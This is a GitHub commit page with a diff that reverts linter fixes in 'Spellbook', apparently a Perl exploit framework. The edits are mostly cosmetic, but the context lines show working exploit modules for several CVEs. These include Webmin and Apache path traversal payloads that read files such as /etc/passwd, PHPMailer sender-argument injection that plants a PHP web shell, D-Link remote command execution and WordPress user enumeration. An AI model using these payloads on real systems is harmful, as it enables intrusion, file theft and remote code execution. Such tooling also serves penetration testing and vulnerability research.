Skip to content

Commit

Permalink
Revert "address linter warnings (#113)"
Browse files Browse the repository at this point in the history
This reverts commit dcac3a4.
  • Loading branch information
htrgouvea committed Dec 3, 2024
1 parent dcac3a4 commit 73d718a
Show file tree
Hide file tree
Showing 73 changed files with 725 additions and 942 deletions.
27 changes: 12 additions & 15 deletions lib/Spellbook/Advisory/CVE_2006_3392.pm
Original file line number Diff line number Diff line change
Expand Up @@ -2,7 +2,7 @@ package Spellbook::Advisory::CVE_2006_3392 {
use strict;
use warnings;
use Spellbook::Core::UserAgent;

sub new {
my ($self, $parameters) = @_;
my ($help, $target, $file);
Expand All @@ -15,27 +15,24 @@ package Spellbook::Advisory::CVE_2006_3392 {
);

if ($target) {
if ($target !~ /^http(?:s)?:\/\//x) {
if ($target !~ /^http(s)?:\/\//x) {
$target = "https://$target";
}

my $userAgent = Spellbook::Core::UserAgent -> new();
my $temp = "/..%01" x 40;
my $request = $userAgent -> get($target . "/unauthenticated/" . $temp . $file);

return $request -> content();
}
return $request -> content();
}

if ($help) {
return <<"EOT";
Exploit::CVE_2006_3392
=======================
-h, --help See this menu
-t, --target Define a target
-f, --file Define a file to read
EOT
return "
\rExploit::CVE_2006_3392
\r=======================
\r-h, --help See this menu
\r-t, --target Define a target
\r-f, --file Define a file to read\n\n";
}

return 0;
Expand Down
27 changes: 12 additions & 15 deletions lib/Spellbook/Advisory/CVE_2016_10045.pm
Original file line number Diff line number Diff line change
Expand Up @@ -7,7 +7,7 @@ package Spellbook::Advisory::CVE_2016_10045 {
sub new {
my ($self, $parameters) = @_;
my ($help, $target, @results);

my $dir = "/var/www/html/uploads";
my %shell = (
"name" => "spellbook_xpl.php",
Expand All @@ -21,9 +21,9 @@ package Spellbook::Advisory::CVE_2016_10045 {
"S|shell=s" => \$shell{name},
"d|directory=s" => \$dir
);

if ($target) {
if ($target !~ /^http(?:s)?:\/\//x) {
if ($target !~ /^http(s)?:\/\//x) {
$target = "https://$target";
}

Expand All @@ -34,10 +34,10 @@ package Spellbook::Advisory::CVE_2016_10045 {

$shell{code} = $code -> slurp();
}

my $CVE_2016_10033 = "\"attacker\\\" -oQ/tmp/ -X$dir/$shell{name} some\"\@email.com";
my $CVE_2016_10045 = "\"attacker\\' -oQ/tmp/ -X$dir/$shell{name} some\"\@email.com";

try {
my $request = $userAgent -> post($target, [
"action" => "send",
Expand All @@ -62,16 +62,13 @@ package Spellbook::Advisory::CVE_2016_10045 {
}

if ($help) {
return<<"EOT";
Exploit::CVE_2016_10045
=======================
-h, --help See this menu
-t, --target Define a target
-S, --shell
-d, --directory \n\n";
EOT
return "
\rExploit::CVE_2016_10045
\r=======================
\r-h, --help See this menu
\r-t, --target Define a target
\r-S, --shell
\r-d, --directory \n\n";
}

return 0;
Expand Down
25 changes: 11 additions & 14 deletions lib/Spellbook/Advisory/CVE_2017_5487.pm
Original file line number Diff line number Diff line change
Expand Up @@ -15,11 +15,11 @@ package Spellbook::Advisory::CVE_2017_5487 {
"t|target=s" => \$target
);

if ($target) {
if ($target !~ /^http(?:s)?:\/\//x) {
if ($target) {
if ($target !~ /^http(s)?:\/\//x) {
$target = "http://$target";
}

my $userAgent = Spellbook::Core::UserAgent -> new();
my $request = $userAgent -> get("$target/wp-json/wp/v2/users");

Expand All @@ -29,11 +29,11 @@ package Spellbook::Advisory::CVE_2017_5487 {

foreach my $data (@$content) {
my $username = $data -> {slug};

if ($username) {
push @result, $username;
}
}
}
};

return @result;
Expand All @@ -42,17 +42,14 @@ package Spellbook::Advisory::CVE_2017_5487 {
}

if ($help) {
return<<"EOT";
Exploit::CVE_2017_5487
=======================
-h, --help See this menu
r-t, --target Define a target\n\n";
EOT
return "
\rExploit::CVE_2017_5487
\r=======================
\r-h, --help See this menu
\r-t, --target Define a target\n\n";
}

return 0;
return 0;
}
}

Expand Down
17 changes: 7 additions & 10 deletions lib/Spellbook/Advisory/CVE_2020_9376.pm
Original file line number Diff line number Diff line change
Expand Up @@ -3,7 +3,7 @@ package Spellbook::Advisory::CVE_2020_9376 {
use warnings;
use Mojo::DOM;
use Spellbook::Core::UserAgent;

sub new {
my ($self, $parameters) = @_;
my ($help, $target, @results);
Expand All @@ -15,7 +15,7 @@ package Spellbook::Advisory::CVE_2020_9376 {
);

if ($target) {
if ($target !~ /^http(?:s)?:\/\//x) {
if ($target !~ /^http(s)?:\/\//x) {
$target = "http://$target";
}

Expand All @@ -38,14 +38,11 @@ package Spellbook::Advisory::CVE_2020_9376 {
}

if ($help) {
return<<"EOT";
Advisory::CVE_2020_9376
=======================
-h, --help See this menu
-t, --target Define a target to exploit\n\n";
EOT
return "
\rAdvisory::CVE_2020_9376
\r=======================
\r-h, --help See this menu
\r-t, --target Define a target to exploit\n\n";
}

return 0;
Expand Down
23 changes: 10 additions & 13 deletions lib/Spellbook/Advisory/CVE_2020_9377.pm
Original file line number Diff line number Diff line change
Expand Up @@ -2,7 +2,7 @@ package Spellbook::Advisory::CVE_2020_9377 {
use strict;
use warnings;
use Spellbook::Core::UserAgent;

sub new {
my ($self, $parameters) = @_;
my ($help, $target, $cookie, $command, @results);
Expand All @@ -16,13 +16,13 @@ package Spellbook::Advisory::CVE_2020_9377 {
);

if ($target) {
if ($target !~ /^http(?:s)?:\/\//x) {
if ($target !~ /^http(s)?:\/\//x) {
$target = "http://$target";
}

my $userAgent = Spellbook::Core::UserAgent -> new();
my $payload = "cmd=$command";

my $headers = HTTP::Headers -> new (
"Content-Type" => "application/x-www-form-urlencoded",
"Cookie" => "uid=$cookie"
Expand All @@ -39,16 +39,13 @@ package Spellbook::Advisory::CVE_2020_9377 {
}

if ($help) {
return<<"EOT";
Advisory::CVE_2020_9377
=======================
-h, --help See this menu
-t, --target Define a target
-c, --cookie Define a session cookie
-p, --payload Set the command to run on the target\n\n";
EOT
return "
\rAdvisory::CVE_2020_9377
\r=======================
\r-h, --help See this menu
\r-t, --target Define a target
\r-c, --cookie Define a session cookie
\r-p, --payload Set the command to run on the target\n\n";
}

return 0;
Expand Down
15 changes: 6 additions & 9 deletions lib/Spellbook/Advisory/CVE_2021_24891.pm
Original file line number Diff line number Diff line change
Expand Up @@ -14,7 +14,7 @@ package Spellbook::Advisory::CVE_2021_24891 {
);

if ($target) {
if ($target !~ /^http(?:s)?:\/\//x) {
if ($target !~ /^http(s)?:\/\//x) {
$target = "https://$target";
}

Expand Down Expand Up @@ -44,14 +44,11 @@ package Spellbook::Advisory::CVE_2021_24891 {
}

if ($help) {
return<<"EOT";
Advisory::CVE_2021_24891
=======================
-h, --help See this menu
-t, --target Define a target\n\n";
EOT
return "
\rAdvisory::CVE_2021_24891
\r=======================
\r-h, --help See this menu
\r-t, --target Define a target\n\n";
}

return 0;
Expand Down
23 changes: 10 additions & 13 deletions lib/Spellbook/Advisory/CVE_2021_41773.pm
Original file line number Diff line number Diff line change
Expand Up @@ -16,10 +16,10 @@ package Spellbook::Advisory::CVE_2021_41773 {
);

if ($target) {
if ($target !~ /^http(?:s)?:\/\//x) {
if ($target !~ /^http(s)?:\/\//x) {
$target = "https://$target";
}

if (!$file) { $file = "/etc/passwd"; }

my $payload = "/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/";
Expand All @@ -34,7 +34,7 @@ package Spellbook::Advisory::CVE_2021_41773 {

my $useragent = Spellbook::Core::UserAgent -> new();
my $request = $useragent -> get(
"https://" . $target . $payload,
"https://" . $target . $payload,
Content => $command || " "
);

Expand All @@ -44,16 +44,13 @@ package Spellbook::Advisory::CVE_2021_41773 {
}

if ($help) {
return<<"EOT";
Exploit::CVE_2021_41773
=======================
-h, --help See this menu
-t, --target Define a target
-f, --file Define a file to read
-c, --command Arbitrary code execution\n\n";
EOT
return "
\rExploit::CVE_2021_41773
\r=======================
\r-h, --help See this menu
\r-t, --target Define a target
\r-f, --file Define a file to read
\r-c, --command Arbitrary code execution\n\n";
}

return 0;
Expand Down
21 changes: 9 additions & 12 deletions lib/Spellbook/Advisory/CVE_2023_29489.pm
Original file line number Diff line number Diff line change
Expand Up @@ -13,11 +13,11 @@ package Spellbook::Advisory::CVE_2023_29489 {
"t|target=s" => \$target
);

if ($target) {
if ($target !~ /^http(?:s)?:\/\//x) {
if ($target) {
if ($target !~ /^http(s)?:\/\//x) {
$target = "https://$target";
}

my $userAgent = Spellbook::Core::UserAgent -> new();

my @payloads = (
Expand All @@ -39,17 +39,14 @@ package Spellbook::Advisory::CVE_2023_29489 {
}

if ($help) {
return<<"EOT";
Exploit::CVE_2023_29489
=======================
-h, --help See this menu
-t, --target Define a target\n\n";
EOT
return "
\rExploit::CVE_2023_29489
\r=======================
\r-h, --help See this menu
\r-t, --target Define a target\n\n";
}

return 0;
return 0;
}
}

Expand Down
Loading

0 comments on commit 73d718a

Please sign in to comment.